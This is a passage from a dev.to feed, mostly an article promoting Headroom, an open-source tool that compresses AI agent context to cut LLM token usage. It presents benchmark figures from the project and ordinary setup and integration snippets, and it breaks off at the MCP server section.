&lt;li&gt;&lt;a href=&quot;https://inngest.com/blog/migrating-off-nextjs-tanstack-start&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Inngest: Why we migrated off Next.js&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://kiro.dev/&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Kiro&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/ErikCH/tanstack-start-nextjs-killer-demo&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Demo repo&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;


            </description><link>https://dev.to/erikch/tanstack-start-is-kind-of-a-big-deal-4nec</link><guid isPermaLink="false">https://dev.to/erikch/tanstack-start-is-kind-of-a-big-deal-4nec</guid><pubDate>Mon, 08 Jun 2026 17:06:43 GMT</pubDate><author>Erik Hanchett</author><enclosure url="https://media2.dev.to/dynamic/image/width=1000,height=420,fit=cover,gravity=auto,format=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F27ufuuw85mpxo30mvgao.png" type="image/jpeg"></enclosure><category>tanstack</category><category>react</category><category>typescript</category><category>webdev</category></item><item><title>Headroom: Cut Your LLM Token Usage by Up to 95% Without Changing Your Answers</title><description>&lt;p&gt;If you&#39;re building AI agents or running LLM pipelines in production, you already know the pain: tool outputs, logs, RAG chunks, and conversation history pile up fast. Before you know it, you&#39;re burning through tokens at a rate that makes your billing dashboard uncomfortable to look at.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/chopratejas/headroom&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Headroom&lt;/a&gt; is an open-source project that tackles this problem directly. It compresses everything your AI agent reads — before it ever reaches the LLM — and claims 60–95% token reduction on real workloads, with accuracy preserved.&lt;/p&gt;


&lt;hr&gt;

&lt;h2&gt;
  &lt;a name=&quot;the-core-idea&quot; href=&quot;https://dev.to/arshtechpro/headroom-cut-your-llm-token-usage-by-up-to-95-without-changing-your-answers-5g06#the-core-idea&quot;&gt;
  &lt;/a&gt;
  The Core Idea
&lt;/h2&gt;

&lt;p&gt;Headroom sits as a layer between your application and the LLM provider. It takes whatever your agent was about to send — a stack of tool call results, a long log file, a RAG retrieval dump — and compresses it using one of several strategies depending on the content type:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;SmartCrusher&lt;/strong&gt; handles JSON (arrays, nested objects, mixed types)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CodeCompressor&lt;/strong&gt; uses AST-aware compression for Python, JS, Go, Rust, Java, and C++&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Kompress-base&lt;/strong&gt; is a HuggingFace model trained on agentic traces, for prose and text&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CacheAligner&lt;/strong&gt; stabilizes prompt prefixes so provider KV caches actually hit consistently&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CCR (Content-Compressed Retrieval)&lt;/strong&gt; stores originals locally and lets the LLM fetch them on demand — so compression is fully reversible&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A &lt;strong&gt;ContentRouter&lt;/strong&gt; figures out what kind of content it&#39;s looking at and picks the right compressor automatically. You don&#39;t have to think about it.&lt;/p&gt;

&lt;p&gt;The key thing: originals are never deleted. If the LLM needs the full version of something, it can retrieve it. Compression is lossless in that sense.&lt;/p&gt;


&lt;hr&gt;

&lt;h2&gt;
  &lt;a name=&quot;real-numbers&quot; href=&quot;https://dev.to/arshtechpro/headroom-cut-your-llm-token-usage-by-up-to-95-without-changing-your-answers-5g06#real-numbers&quot;&gt;
  &lt;/a&gt;
  Real Numbers
&lt;/h2&gt;

&lt;p&gt;These are the token counts from the project&#39;s benchmarks on real agent workloads:&lt;/p&gt;

&lt;div class=&quot;table-wrapper-paragraph&quot;&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Workload&lt;/th&gt;
&lt;th&gt;Before&lt;/th&gt;
&lt;th&gt;After&lt;/th&gt;
&lt;th&gt;Savings&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Code search (100 results)&lt;/td&gt;
&lt;td&gt;17,765&lt;/td&gt;
&lt;td&gt;1,408&lt;/td&gt;
&lt;td&gt;92%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SRE incident debugging&lt;/td&gt;
&lt;td&gt;65,694&lt;/td&gt;
&lt;td&gt;5,118&lt;/td&gt;
&lt;td&gt;92%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GitHub issue triage&lt;/td&gt;
&lt;td&gt;54,174&lt;/td&gt;
&lt;td&gt;14,761&lt;/td&gt;
&lt;td&gt;73%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Codebase exploration&lt;/td&gt;
&lt;td&gt;78,502&lt;/td&gt;
&lt;td&gt;41,254&lt;/td&gt;
&lt;td&gt;47%&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;On accuracy benchmarks (GSM8K math, TruthfulQA, SQuAD v2, BFCL tool-use), scores hold steady or slightly improve after compression. The intuition is that stripping noise helps the model focus on the signal.&lt;/p&gt;

&lt;p&gt;You can reproduce these yourself with:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight shell&quot;&gt;&lt;code&gt;python &lt;span class=&quot;nt&quot;&gt;-m&lt;/span&gt; headroom.evals suite &lt;span class=&quot;nt&quot;&gt;--tier&lt;/span&gt; 1
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;




&lt;hr&gt;

&lt;h2&gt;
  &lt;a name=&quot;setup-three-ways-to-use-it&quot; href=&quot;https://dev.to/arshtechpro/headroom-cut-your-llm-token-usage-by-up-to-95-without-changing-your-answers-5g06#setup-three-ways-to-use-it&quot;&gt;
  &lt;/a&gt;
  Setup: Three Ways to Use It
&lt;/h2&gt;

&lt;p&gt;Headroom gives you three integration modes. Pick whichever fits how you work.&lt;/p&gt;

&lt;h3&gt;
  &lt;a name=&quot;option-1-wrap-an-existing-agent-zero-code-changes&quot; href=&quot;https://dev.to/arshtechpro/headroom-cut-your-llm-token-usage-by-up-to-95-without-changing-your-answers-5g06#option-1-wrap-an-existing-agent-zero-code-changes&quot;&gt;
  &lt;/a&gt;
  Option 1: Wrap an existing agent (zero code changes)
&lt;/h3&gt;



&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight shell&quot;&gt;&lt;code&gt;pip &lt;span class=&quot;nb&quot;&gt;install&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;headroom-ai[all]&quot;&lt;/span&gt;
headroom wrap claude
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;That&#39;s it. Headroom intercepts traffic from Claude Code, Codex, Cursor, Aider, or Copilot CLI automatically. You don&#39;t touch your existing code at all.&lt;/p&gt;

&lt;h3&gt;
  &lt;a name=&quot;option-2-dropin-proxy&quot; href=&quot;https://dev.to/arshtechpro/headroom-cut-your-llm-token-usage-by-up-to-95-without-changing-your-answers-5g06#option-2-dropin-proxy&quot;&gt;
  &lt;/a&gt;
  Option 2: Drop-in proxy
&lt;/h3&gt;

&lt;p&gt;Run Headroom as a local proxy on any port:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight shell&quot;&gt;&lt;code&gt;headroom proxy &lt;span class=&quot;nt&quot;&gt;--port&lt;/span&gt; 8787
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;Then point your existing OpenAI/Anthropic SDK calls at &lt;code&gt;localhost:8787&lt;/code&gt; instead of the provider URL. Any language, any framework — no code changes needed beyond updating the base URL.&lt;/p&gt;

&lt;h3&gt;
  &lt;a name=&quot;option-3-inline-library&quot; href=&quot;https://dev.to/arshtechpro/headroom-cut-your-llm-token-usage-by-up-to-95-without-changing-your-answers-5g06#option-3-inline-library&quot;&gt;
  &lt;/a&gt;
  Option 3: Inline library
&lt;/h3&gt;

&lt;p&gt;For finer control, use it directly in Python or TypeScript:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Python:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight python&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;headroom&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;compress&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;messages&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[{&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;role&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;user&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;your_giant_tool_output&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}]&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;compressed&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;compress&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;messages&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;model&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;claude-opus-4-6&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# compressed has the same structure, far fewer tokens
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;TypeScript:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight typescript&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;compress&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;headroom-ai&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;compressed&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;compress&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;messages&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;model&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;claude-opus-4-6&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;With the Anthropic SDK directly:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight python&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;anthropic&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Anthropic&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;headroom&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;withHeadroom&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;client&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;withHeadroom&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Anthropic&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# Use client exactly like normal — compression happens automatically
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;With LangChain:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight python&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;headroom.integrations.langchain&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;HeadroomChatModel&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;llm&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;HeadroomChatModel&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;your_existing_llm&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;With Vercel AI SDK:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight typescript&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;wrapLanguageModel&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;ai&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;headroomMiddleware&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;headroom-ai&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;model&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;wrapLanguageModel&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;({&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;model&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;yourModel&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;middleware&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;headroomMiddleware&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;Requires Python 3.10+. For Node/TypeScript: &lt;code&gt;npm install headroom-ai&lt;/code&gt;.&lt;/p&gt;


&lt;hr&gt;

&lt;h2&gt;
  &lt;a name=&quot;mcp-server-mode&quot; href=&quot;https://dev.to/arshtechpro/headroom-cut-your-llm-token-usage-by-up-to-95-without-changing-your-answers-5g06#mcp-server-mode&quot;&gt;
  &lt;/a&gt;
  MCP Server Mode
&lt;/h2&gt;

&lt;p&gt;If you&#39;re using an MCP client (Claude Desktop, etc.), you can install Headroom as an MCP server:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight shell&quot;&gt;&lt;code&gt;headroom mcp &lt;span class=&quot;nb&quot;&gt;install&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



